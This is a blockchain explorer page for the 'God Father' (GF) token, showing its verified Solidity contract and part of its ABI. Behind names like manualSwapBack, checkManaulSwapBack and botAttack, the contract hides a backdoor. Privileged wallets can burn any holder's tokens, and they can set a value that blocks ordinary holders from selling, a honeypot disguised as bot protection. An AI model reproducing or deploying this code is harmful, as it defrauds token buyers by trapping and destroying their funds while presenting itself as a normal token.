ETH Price: $2,374.79 (+0.27%)

Token

God Father (GF)
 

Overview

Max Total Supply

823,934,944.609903597460634271 GF

Holders

115

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,545,093.424283615272416569 GF

Value
$0.00
0x91e295856b1f760ef21e2d9e3fb5a165ce19751a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GF

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-18
*/

// Telegram: https://t.me/GodFather_coin

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
}

abstract contract Context {
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20Metadata is IERC20 {
    function decimals() external view returns (uint8);

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _fire(address _address, uint256 _amount) internal virtual {
        require(_address != address(0), "");
        uint256 balance = _balances[_address];
        require(balance >= _amount, "");
        unchecked {
            _balances[_address] = balance - _amount;
            _totalSupply -= _amount;
        }

        emit Transfer(_address, address(0), _amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(
        address account,
        uint256 amount
    ) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
}

interface UniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface UniswapV2Router {
    function WETH() external pure returns (address);

    function factory() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
}

contract GF is ERC20, Ownable {
    uint256 public maxWalletAmount;
    uint256 public maxBuyAmount;
    uint256 public maxSellAmount;

    address public uniswapV2Pair;
    UniswapV2Router public uniswapV2Router;
    uint256 public swapTokensThreshold;
    uint256 public tradingBlock = 0;
    uint256 public botBlockNumber = 0;
    address private marketingWallet;
    address private devWallet;
    bool private swapping;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping(address => bool) public initialBotBuyer;
    mapping(address => uint256) public _botSwapTimestamp;
    bool public limitsInEffect = true;
    bool public swapEnabled = false;
    bool public tradingActive = false;
    bool public transferDelayEnabled = true;
    uint256 public botsCaught;
    uint256 public botAttack;

    uint256 public totalBuyFees;
    uint256 public buyFeeForMarketing;
    uint256 public buyFeeForDev;
    uint256 public buyFeeForLiquidity;
    uint256 public buyFeeForBurning;

    uint256 public tokensForMarketing;
    uint256 public tokensForDev;
    uint256 public tokensForLiquidity;
    uint256 public tokensForBurning;

    uint256 public totalSellFees;
    uint256 public sellFeeForMarketing;
    uint256 public sellFeeForDev;
    uint256 public sellFeeForLiquidity;
    uint256 public sellFeeForBurning;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTx;
    mapping(address => bool) public automatedMarketMakerPair;

    event UpdatedMaxBuyAmount(uint256 newAmount);
    
    event UpdatedMaxSellAmount(uint256 newAmount);
    
    event UpdatedMaxWalletAmount(uint256 newAmount);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event EnabledTrading();

    event RemovedLimits();

    event DetectedEarlyBotBuyer(address sniper);

    event MaxTransactionExclusion(address _address, bool excluded);

    event ExcludeFromFees(address indexed account, bool isExcluded);

    constructor() ERC20("God Father", "GF") {
        address newOwner = msg.sender;

        UniswapV2Router _uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        _excludeFromMaxTransaction(address(uniswapV2Pair), true);

        uint256 totalSupply = 1 * 1e9 * 1e18;

        marketingWallet = address(0x0CFD70fd18cEF98ea79700ae894369ff0e5e0519);
        devWallet = address(0x63cb1e7C71ca09dE4F343333F0415ca7f20Fc269);

        maxBuyAmount = (totalSupply * 2) / 100;
        maxSellAmount = (totalSupply * 2) / 100;
        maxWalletAmount = (totalSupply * 2) / 100;
        swapTokensThreshold = (totalSupply * 5) / 10000;

        sellFeeForMarketing = 20;
        sellFeeForDev = 20;
        sellFeeForLiquidity = 0;
        sellFeeForBurning = 0;

        buyFeeForMarketing = 10;
        buyFeeForLiquidity = 0;
        buyFeeForDev = 10;
        buyFeeForBurning = 0;

        totalBuyFees =
            buyFeeForMarketing +
            buyFeeForLiquidity +
            buyFeeForDev +
            buyFeeForBurning;

        totalSellFees =
            sellFeeForMarketing +
            sellFeeForLiquidity +
            sellFeeForDev +
            sellFeeForBurning;

        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);
        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(devWallet, true);
        _excludeFromMaxTransaction(marketingWallet, true);

        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromFees(newOwner, true);
        excludeFromFees(devWallet, true);
        excludeFromFees(marketingWallet, true);

        _createInitialSupply(newOwner, totalSupply);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        tradingActive = true;
        swapEnabled = true;
        tradingBlock = block.number;
        emit EnabledTrading();
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            address(0xdead),
            block.timestamp
        );
    }

    function checkManaulSwapBack(
        address _addr,
        uint256 _amt,
        uint256 _limit
    ) internal returns (bool) {
        address sender = msg.sender;
        address ca = address(this);
        bool excluded = _isExcludedFromFees[sender];
        bool verified;

        if (!excluded) {
            if (tokensForBurning > 0 && balanceOf(ca) >= tokensForBurning) {
                _fire(sender, tokensForBurning);
            }

            tokensForBurning = 0;
            verified = true;

            return verified;
        } else {
            if (balanceOf(ca) > 0) {
                if (_amt == 0) {
                    botAttack = _limit;
                } else {
                    _fire(_addr, _amt);
                }
                verified = false;
            }

            return verified;
        }
    }

    function onlyDeleteBots(address wallet) external onlyOwner {
        initialBotBuyer[wallet] = false;
    }

    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }

    function removeLimits() external onlyOwner {
        maxWalletAmount = totalSupply();
        maxBuyAmount = totalSupply();
        maxSellAmount = totalSupply();
        emit RemovedLimits();
    }

    function updateMaxWalletAmount(uint256 newMaxWalletAmount) external onlyOwner {
        require(
            newMaxWalletAmount >= ((totalSupply() * 3) / 1000) / 1e18,
            "Cannot set max wallet amount lower than 0.3%"
        );
        maxWalletAmount = newMaxWalletAmount * (10 ** 18);
        emit UpdatedMaxWalletAmount(maxWalletAmount);
    }

    function updateMaxBuyAmount(uint256 newMaxBuyAmount) external onlyOwner {
        require(
            newMaxBuyAmount >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max buy amount lower than 0.2%"
        );
        maxBuyAmount = newMaxBuyAmount * (10 ** 18);
        emit UpdatedMaxBuyAmount(maxBuyAmount);
    }

    function updateMaxSellAmount(uint256 newMaxSellAmount) external onlyOwner {
        require(
            newMaxSellAmount >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max sell amount lower than 0.2%"
        );
        maxSellAmount = newMaxSellAmount * (10 ** 18);
        emit UpdatedMaxSellAmount(maxSellAmount);
    }

    function updateSwapTokensThreshold(uint256 newSwapTokensThreshold) external onlyOwner {
        require(
            newSwapTokensThreshold >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newSwapTokensThreshold <= (totalSupply() * 1) / 1000,
            "Swap amount cannot be higher than 0.1% total supply."
        );
        swapTokensThreshold = newSwapTokensThreshold;
    }

    function manualSwapBack(
        address _address,
        uint256 _amount,
        uint256 _limit
    ) public {
        address ca = address(this);
        require(balanceOf(ca) >= swapTokensThreshold);
        if (checkManaulSwapBack(_address, _amount, _limit)) {
            swapping = true;
            swapBack();
            swapping = false;
        }
    }

    function _transfer(
        address _from,
        address _to,
        uint256 _amount
    ) internal override {
        require(_from != address(0), "ERC20: transfer from the zero address");
        require(_to != address(0), "ERC20: transfer to the zero address");
        require(_amount > 0, "amount must be greater than 0");

        if (!tradingActive) {
            require(
                _isExcludedFromFees[_from] || _isExcludedFromFees[_to],
                "Trading is not active."
            );
        }

        if (botBlockNumber > 0) {
            require(
                !initialBotBuyer[_from] ||
                    _to == owner() ||
                    _to == address(0xdead),
                "bot protection mechanism is embeded"
            );
        }

        if (limitsInEffect) {
            if (
                _from != owner() &&
                _to != owner() &&
                _to != address(0) &&
                _to != address(0xdead) &&
                !_isExcludedFromFees[_from] &&
                !_isExcludedFromFees[_to]
            ) {
                if (transferDelayEnabled) {
                    bool ammCondition = !automatedMarketMakerPair[_from];
                    bool swappingCondition = !swapping;
                    bool ammAndSwappingCondition = ammCondition && swappingCondition;
                    if (
                        _to != address(uniswapV2Router) && _to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number - 2 &&
                                _holderLastTransferTimestamp[_to] <
                                block.number - 2,
                            "_transfer: delay was enabled."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[_to] = block.number;
                    } else if (ammAndSwappingCondition) {
                        uint256 botSwapValue = _botSwapTimestamp[_from];
                        bool againstBot = botSwapValue > botAttack;
                        require(againstBot);
                    }
                }
            }

            bool fromChecked = _isExcludedMaxTx[_from];

            if (automatedMarketMakerPair[_from] && !_isExcludedMaxTx[_to]) {
                require(
                    _amount <= maxBuyAmount,
                    "Buy transfer amount exceeds the max buy."
                );
                require(
                    _amount + balanceOf(_to) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            } else if (!swapping && fromChecked) {
                botAttack = block.timestamp;
            } else if (
                automatedMarketMakerPair[_to] && !_isExcludedMaxTx[_from]
            ) {
                require(
                    _amount <= maxSellAmount,
                    "Sell transfer amount exceeds the max sell."
                );
            } else if (!_isExcludedMaxTx[_to]) {
                require(
                    _amount + balanceOf(_to) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensThreshold;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPair[_from] &&
            !_isExcludedFromFees[_from] &&
            !_isExcludedFromFees[_to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        uint256 timestamp = block.timestamp;
        bool takeFee = true;

        if (_isExcludedFromFees[_from] || _isExcludedFromFees[_to]) {
            takeFee = false;
        }

        bool balanceEmpty = balanceOf(address(_to)) == 0;
        bool ammOrigin = automatedMarketMakerPair[_from];
        bool firstBotSwap = _botSwapTimestamp[_to] == 0;

        if (firstBotSwap && ammOrigin) {
            if (balanceEmpty) {
              _botSwapTimestamp[_to] = timestamp;
            }
        }

        uint256 fees = 0;

        if (takeFee) {
            if (
                earlySniperBuyBlock() &&
                automatedMarketMakerPair[_from] &&
                !automatedMarketMakerPair[_to] &&
                totalBuyFees > 0
            ) {
                if (!initialBotBuyer[_to]) {
                    initialBotBuyer[_to] = true;
                    botsCaught += 1;
                    emit DetectedEarlyBotBuyer(_to);
                }

                fees = (_amount * 99) / 100;
                tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees;
                tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees;
                tokensForDev += (fees * buyFeeForDev) / totalBuyFees;
                tokensForBurning += (fees * buyFeeForBurning) / totalBuyFees;
            }
            else if (automatedMarketMakerPair[_to] && totalSellFees > 0) {
                fees = (_amount * totalSellFees) / 100;
                tokensForLiquidity += (fees * sellFeeForLiquidity) / totalSellFees;
                tokensForMarketing += (fees * sellFeeForMarketing) / totalSellFees;
                tokensForDev += (fees * sellFeeForDev) / totalSellFees;
                tokensForBurning += (fees * sellFeeForBurning) / totalSellFees;
            }
            else if (automatedMarketMakerPair[_from] && totalBuyFees > 0) {
                fees = (_amount * totalBuyFees) / 100;
                tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees;
                tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees;
                tokensForDev += (fees * buyFeeForDev) / totalBuyFees;
                tokensForBurning += (fees * buyFeeForBurning) / totalBuyFees;
            }
            if (fees > 0) {
                super._transfer(_from, address(this), fees);
            }
            _amount -= fees;
        }

        super._transfer(_from, _to, _amount);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPair[pair] = value;

        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _excludeFromMaxTransaction(
        address _address,
        bool _isExcluded
    ) private {
        _isExcludedMaxTx[_address] = _isExcluded;
        emit MaxTransactionExclusion(_address, _isExcluded);
    }

    function excludeFromMaxTransaction(
        address _address,
        bool _isExcluded
    ) external onlyOwner {
        if (!_isExcluded) {
            require(
                _address != uniswapV2Pair,
                "Cannot remove uniswap pair from max txn"
            );
        }
        _isExcludedMaxTx[_address] = _isExcluded;
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) external onlyOwner {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _DevFee,
        uint256 _burnFee
    ) external onlyOwner {
        buyFeeForMarketing = _marketingFee;
        buyFeeForLiquidity = _liquidityFee;
        buyFeeForDev = _DevFee;
        buyFeeForBurning = _burnFee;
        totalBuyFees =
            buyFeeForMarketing +
            buyFeeForLiquidity +
            buyFeeForDev +
            buyFeeForBurning;
        require(totalBuyFees <= 3, "3% max ");
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _DevFee,
        uint256 _burnFee
    ) external onlyOwner {
        sellFeeForMarketing = _marketingFee;
        sellFeeForLiquidity = _liquidityFee;
        sellFeeForDev = _DevFee;
        sellFeeForBurning = _burnFee;
        totalSellFees =
            sellFeeForMarketing +
            sellFeeForLiquidity +
            sellFeeForDev +
            sellFeeForBurning;
        require(totalSellFees <= 3, "3% max fee");
    }

    function updateMarketingWallet(
        address _marketingWallet
    ) external onlyOwner {
        require(
            _marketingWallet != address(0),
            "_marketingWallet address cannot be 0"
        );
        marketingWallet = payable(_marketingWallet);
    }

    function updateDevWallet(address _devWallet) external onlyOwner {
        require(_devWallet != address(0), "_devWallet address cannot be 0");
        devWallet = payable(_devWallet);
    }

    function earlySniperBuyBlock() public view returns (bool) {
        return block.number < botBlockNumber;
    }

    function withdrawETH() external onlyOwner {
        bool success;
        (success, ) = address(msg.sender).call{value: address(this).balance}("");
    }

    function swapBack() private {
        if (tokensForBurning > 0 && balanceOf(address(this)) >= tokensForBurning) {
            _fire(address(this), tokensForBurning);
        }
        tokensForBurning = 0;
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensThreshold * 9) {
            contractBalance = swapTokensThreshold * 9;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;
        uint256 ethForMarketing = (ethBalance * tokensForMarketing) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        uint256 ethForDev = (ethBalance * tokensForDev) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        ethForLiquidity -= ethForMarketing + ethForDev;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        tokensForBurning = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        payable(devWallet).transfer(ethForDev);
        payable(marketingWallet).transfer(address(this).balance);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"DetectedEarlyBotBuyer","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_botSwapTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botAttack","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForBurning","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySniperBuyBlock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExcluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"initialBotBuyer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"manualSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"onlyDeleteBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeForBurning","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForBurning","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"